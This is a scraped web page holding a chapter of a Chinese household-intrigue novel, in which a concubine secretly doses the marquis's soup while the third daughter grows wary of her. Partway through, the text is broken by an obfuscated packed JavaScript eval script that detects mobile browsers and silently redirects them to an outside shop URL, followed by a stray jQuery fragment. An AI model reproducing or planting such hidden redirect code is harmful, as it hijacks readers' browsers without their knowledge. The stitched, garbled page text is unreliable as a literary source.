陈玉琼端着托盘,款款走进侯爷的房间。
“侯爷,这是小厨房新炖的燕窝,您快尝尝。”
她将白玉碗盏放在侯爷面前,侯爷拿起勺子,随意搅动几下,随口问了一句:“厨房换了燕窝?怎么是这个颜色?”
“哦,厨房说今年庄子上孝敬了些血燕,妾身便做主让小厨房炖了。”
陈玉琼垂下眼睛,仍然是一副温柔的语气,眼神里飞快的闪过一丝阴霾。
侯爷并未发现这小小的异状,陈玉琼松了口气,等侯爷用完,她收拾了碗盏,走向了厨房。
“姨娘回来了?”蔓菁正在小厨房看着火,见着陈玉琼的身影,连忙上前把用过的碗盏接过来。
“嗯,给侯爷的汤炖的如何了?”陈玉琼微微颔首,径直走到了炉灶旁,打开锅盖。
一股醇香气息弥漫在小厨房里,蔓菁应了一声:“奴婢按您的吩咐,用文火炖了一个时辰,一直盯着呢。”
陈玉琼点点头,对蔓菁说道:“这都是给侯爷补身子的,他最近大动肝火,要好好进补才是。”
蔓菁‘哎’了一声,过来给陈玉琼打下手。
“对了,蔓菁。你去把这个月的月钱领了。”
“知道了,姨娘。我这就去。”
等到蔓菁离开,陈玉琼熟练地掏出一包油纸包着的白色粉末,洒进了汤碗里搅匀。
到了晚膳时分,陈玉琼带着两个丫鬟,面色如常地来到了侯爷的房间。
“陈姨娘真是辛苦了,为侯爷准备这么多。”张嬷嬷来帮着陈玉琼布菜,看着她准备的膳食,忍不住笑着道。
“嬷嬷太抬举我了,这都是分内之事嘛。”陈玉琼温婉地笑笑:“我喜欢做菜,不辛苦的。”
张嬷嬷又客套了几句,自行退下,由陈玉琼服侍着侯爷用了晚膳。
“这个月,陈姨娘要了不少补药啊。”
杨湫坐在垂珠阁中翻阅这个月的进项,忍不住皱了皱眉。
“是啊,奴婢也经常看见。”海棠在一边插嘴道:“茯苓和蔓菁常常去拿一些党参枸杞什么的。”
“小姐觉得,有哪里不妥吗?”芙蕖问道。
“没什么,就是不知道是不是陈姨娘身子不适。”
杨湫翻过下一页,随口道:“改日我问一问陈姨娘就罢了,也好放心。”
杨婳已然定亲,她手中的部分事物,逐渐移交给了杨湫。
“小姐,陈姨娘来了。”
外间忽然响起了通报声,杨湫抬起头,对着外头吩咐了一句:“请姨娘进来。”
过了片刻,陈玉琼便走了进来。
她穿着一身藕荷色的衫裙,脸上的腼腆逐渐褪去,取而代之的是一份温婉从容。
“三小姐。”她温声细语道:“妾身新晒了些花茶,拿过来给三小姐一些。”
“多谢姨娘。海棠,把东西收好。”
海棠闻言,将东西从蔓菁手里接过,仔细收了起来。
“一点小事,姨娘怎么还亲自过来一趟?”杨湫脸上挂着浅浅的笑,合上了手里的账本。
陈玉琼道:“妾身伺候过侯爷用膳,左右也是多走动走动消消食,便亲自过来送了。”
“原是如此。”杨湫并未多言,只是让芙蕖上茶。
“三小姐在看什么?”见陈玉琼好奇地盯着账本看,杨湫也不避讳,索性展开来。
“这是府中的进项,姨娘有兴趣?”杨湫问道。
“妾身不认识几个字,看不太明白。”陈玉琼道。
杨湫略微差异,随后想起陈玉琼的出身,情不自禁动了些恻隐之心:“若是姨娘感兴趣,我学问虽然浅薄,教姨娘读几句倒也使得。”
“当真?那先谢过三小姐了。”陈玉琼有些惊讶,赶忙道了谢。
“说起来,姨娘这个月常常去领一些药材,可是身体何处不适?”
杨湫没有直接询问,陈玉琼怔了一瞬,随即道:“并不是,都是给侯爷进补的。”
“原来是这样。”
杨湫舒了口气,委婉地提醒道:“姨娘有所不知,这些药材虽好,也不能多用呀。”
“啊?妾身只是想,侯爷最近看起来总是气虚体乏,这才想给侯爷进补的。”陈玉琼有些无措,双手绞住手帕。
她小心翼翼地问道:“三小姐,是不是妾身做错了事?”
“没有,姨娘不必自责。”杨湫摇头,让陈玉琼先安下心来:“我知道姨娘一片心意,只是侯爷的身子,状况远比表面上复杂,并不是三言两语说得清的。”
“是这样么?”陈玉琼仍然有些紧张,不放心地确认道:“妾身听其他姐姐们说过,三小姐懂医术?”
“略懂一些,不敢说多精通。”杨湫沉吟片刻,才说道:“姨娘只要记得,以后给侯爷进补的不要过于频繁就好。”
“妾身晓得了,多亏三小姐提起。”陈玉琼松了口气,伸手按住胸口:“要不然,妾身可要犯下大错了。”
“姨娘太言重了。”杨湫说罢,又多问了一句:“不过我有一件事好奇。”
陈玉琼闻言,示意杨湫直说:“三小姐您问便是。”
“姨娘说自己不识字,却知道这些药材,是因为从前家人认识这些?”杨湫问道。
陈玉琼飞快地眨眨眼睛,有些心虚的地避开了杨湫的眼神:“妾身,妾身原先的邻居是个郎中,所以耳濡目染,就这么认识了。”
“原是如此。”杨湫淡淡地应下,看到陈玉琼有些无措,又放缓了声音:“姨娘不必紧张,我只是随口一问。”
陈玉琼绷紧的肩膀这才放松下来。
“日后,妾身可以来找三小姐认药材吗?”陈玉琼小声问道,似乎有些难为情:“是不是太麻烦您了?”
“怎么会麻烦,姨娘太言重了。”杨湫含着笑,十分认真地对陈玉琼说道。
两人又聊了几句,陈玉琼便告辞离开了。
杨湫面带思索,芙蕖走进房中,见她正在思考,悄悄走近。
“芙蕖,你觉得,陈姨娘刚才的话有几分可信?”杨湫问道。
芙蕖面色逐渐凝重起来:“奴婢也觉得有些怪。”
“罢了,如今不管陈姨娘有什么目的,都先观望着吧。”
杨湫说完,便由芙蕖和海棠伺候着卸下钗环,更衣就寝。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17524895|203441||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
陈玉琼果然如她所言,第二日开始,便日日来到垂珠阁习字,从那些药材的名称一个个认起。
据她所言,尽早认识那几味药材,也好给侯爷进补。
杨湫虽然对侯爷没什么好脸色,但是看在陈玉琼一片殷勤,也不忍心打击她,尽职尽责的教她学习。
令杨湫惊讶的是,陈玉琼口说不认识几个字,学习的速度但是颇快。
“陈姨娘的字,看起来不像第一次学的,仿佛以前有些功底。”
杨湫拿着陈玉琼临摹的字,有些意外。
“妾身的祖父是个教书匠,小时候也教过几个字。”
陈玉琼语气里充满怀念:“爹也认识不少字,最后也没考上秀才,还是老实种地去了。”
杨湫点点头,不再多言,转而教陈玉琼继续认字去了。
秋风乍凉,侯府里的桂花满园飘香。
“我听说,陈姨娘最近总去你那里习字。”
今日天色晴好,杨湫和杨婳一起坐在绣荷斋外做这针线。
“是呀。”听闻杨婳此言,杨湫顿时莞尔一笑:“陈姨娘很好学呢。”
“那真是太好了。”杨婳绣着手里的帕子,应了一句。
她正在准备自己嫁妆里的绣品,杨绮听闻之后,也悄无声息的送了好些来。
杨玥更是成天琢磨着新鲜的花样,成天窝在芷兰居作画。
阳光在她们姐妹二人身上投下金色的光晕。
杨婳耐心的做着手里的活计,杨湫望过去,阳光下的人显得格外恬静,让人不想出声打扰。
“大小姐,三小姐。”珊瑚走了进来,手里拿着一份请帖:“这是刚刚沈小姐派人送来的。”
“让我看看。”杨婳放下手上的绣棚,打开请帖,看完后又递给杨湫。
“妙怜请我们赏菊吃螃蟹去呢。就在她家里。”杨婳道。
“妙怜姐姐最喜欢大家热热闹闹聚在一起了。”
杨湫的心情也雀跃起来:“我去同二姐讲,她一定也有兴趣。”
“说起来,你二姐自从搬出去之后,就很少回侯府了。”
杨婳不禁怅然起来:“她一个人住在自己的私宅里,青鸾和红莺能忙得过来吗?”
杨湫乍听此言,一时间竟然不敢接话。
杨鸢哪里是一个人独居府中,分明还有——
但是这话杨湫怎么敢说,对那两个人来说,藏着掖着就是刺激,才不会暴露出一点。
“这个,兴许是司天监事务繁忙。”杨湫只能尴尬地找补:“大姐你也知道,毕竟陛下也很看重二姐的嘛。”
“我心里明白。二妹身份特殊,我总怕有人不怀好意,上次那个姓张的秀才,看着稳重,居然打着那种主意。”
杨婳十分不赞同地皱起眉:“他们竟然敢弄虚作假,也不怕报应。”
杨湫情不自禁吐吐舌头:“大姐说的是,不过人都已经伏诛了,也算给那些人提个醒。”
杨婳重新拿起手里的针线,继续绣着上面的戏水鸳鸯。
“我如今什么都不盼,咱们姐妹几个人的婚事,只要能安稳顺遂就好了。”